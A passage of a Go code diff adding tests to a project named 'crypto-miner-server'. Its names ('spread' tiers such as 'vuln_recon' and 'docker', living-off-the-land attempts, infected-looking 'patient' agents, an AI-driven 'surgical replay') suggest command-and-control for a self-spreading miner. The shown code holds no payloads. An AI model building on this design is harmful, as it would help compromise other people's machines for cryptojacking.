}
return nil
}
// StrainFromAgent returns spread_strain for strain memory rows.
func StrainFromAgent(hub *WSHub, agentID string) string {
if hub == nil || hub.db == nil || agentID == "" {
return ""
}
ag, err := hub.db.GetAgent(agentID)
if err != nil || ag == nil {
return ""
}
return strings.TrimSpace(ag.SpreadStrain)
}

View File

@@ -0,0 +1,113 @@
package api
import (
"encoding/json"
"testing"
"time"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
func TestSurgicalTraceFromSessionHopMatch(t *testing.T) {
sess := &TraceSession{
ID: "sess-1",
Hops: []*HopInfo{
{AgentID: "hop-a", AgentName: "a"},
{AgentID: "hop-b", AgentName: "b"},
},
DiscoverError: "timeout",
}
ctx, ok := surgicalTraceFromSession(sess, "hop-b")
if !ok {
t.Fatal("expected trace match")
}
if ctx.SessionID != "sess-1" || ctx.HopIndex != 1 || ctx.HopCount != 2 {
t.Fatalf("unexpected ctx: %+v", ctx)
}
if ctx.EgressAgentID != "hop-b" || ctx.DiscoverError != "timeout" {
t.Fatalf("unexpected egress/discover: %+v", ctx)
}
}
func TestPathTraceSurgicalAdapterReadsPersistedSession(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
payload, _ := json.Marshal(pathTraceSessionPersist{
ID: "persisted-sess",
AgentIDs: []string{"patient-1"},
Hops: []*HopInfo{{AgentID: "patient-1", AgentName: "patient"}},
CreatedAt: time.Now().UTC(),
Error: "spread lane blocked",
})
if err := database.UpsertPathTraceSession("persisted-sess", time.Now().UTC(), payload); err != nil {
t.Fatal(err)
}
hub := NewWSHub(database)
adapter := &PathTraceSurgicalAdapter{Hub: hub, PathTrace: nil}
ctx, ok := adapter.TraceForAgent("patient-1")
if !ok {
t.Fatal("expected persisted trace")
}
if ctx.SessionID != "persisted-sess" || ctx.SessionError != "spread lane blocked" {
t.Fatalf("unexpected ctx: %+v", ctx)
}
}
func TestHubSeerEmitterPersistsAndBroadcasts(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
emitter := &HubSeerEmitter{Hub: hub, DB: database}
if err := emitter.EmitSeerEvent("surgical_replay", "agent-1", map[string]interface{}{
"failed_tier": "docker",
"outcome": "skip_tier:reorder_tiers",
}); err != nil {
t.Fatal(err)
}
events, err := database.ListSeerEvents(5)
if err != nil {
t.Fatal(err)
}
if len(events) != 1 || events[0].EventType != "surgical_replay" {
t.Fatalf("events: %+v", events)
}
}
func TestStrainFromAgent(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
if err := database.UpsertAgent(&models.Agent{ID: "s1", Name: "host", SpreadStrain: "#aabbcc"}); err != nil {
t.Fatal(err)
}
hub := NewWSHub(database)
if got := StrainFromAgent(hub, "s1"); got != "#aabbcc" {
t.Fatalf("strain=%q", got)
}
}
func TestShouldUseSurgicalReplayPartialNotExhausted(t *testing.T) {
trace := fleetai.SurgicalTraceContext{SessionID: "x", HopCount: 2}
snap := fleetai.AgentSnapshot{
LOTLAttempts: []fleetai.TierAttempt{
{Tier: "vuln_recon", OK: true},
{Tier: "docker", OK: false, Error: "missing"},
},
}
if !fleetai.ShouldUseSurgicalReplay(trace, snap) {
t.Fatal("partial spread failure with trace should qualify for surgical replay")
}
}

View File

@@ -39,6 +39,27 @@ func wsDashboardToken(user, pass string) string {
return base64.StdEncoding.EncodeToString([]byte(user + ":" + pass))
}
func connectTestDashboard(t *testing.T, hub *WSHub) *websocket.Conn {
t.Helper()
resetWSAuthUsers(t, testAuthUser, testAuthPass)
srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
t.Cleanup(srv.Close)
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
if err != nil {
t.Fatalf("dial dashboard: %v", err)
}
t.Cleanup(func() { _ = conn.Close() })
var init Message
if err := conn.ReadJSON(&init); err != nil {
t.Fatalf("read init: %v", err)
}
if init.Type != "init" {
t.Fatalf("expected init, got %q", init.Type)
}
return conn
}
func dialAgentWS(t *testing.T, hub *WSHub) (*websocket.Conn, string) {
t.Helper()
srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))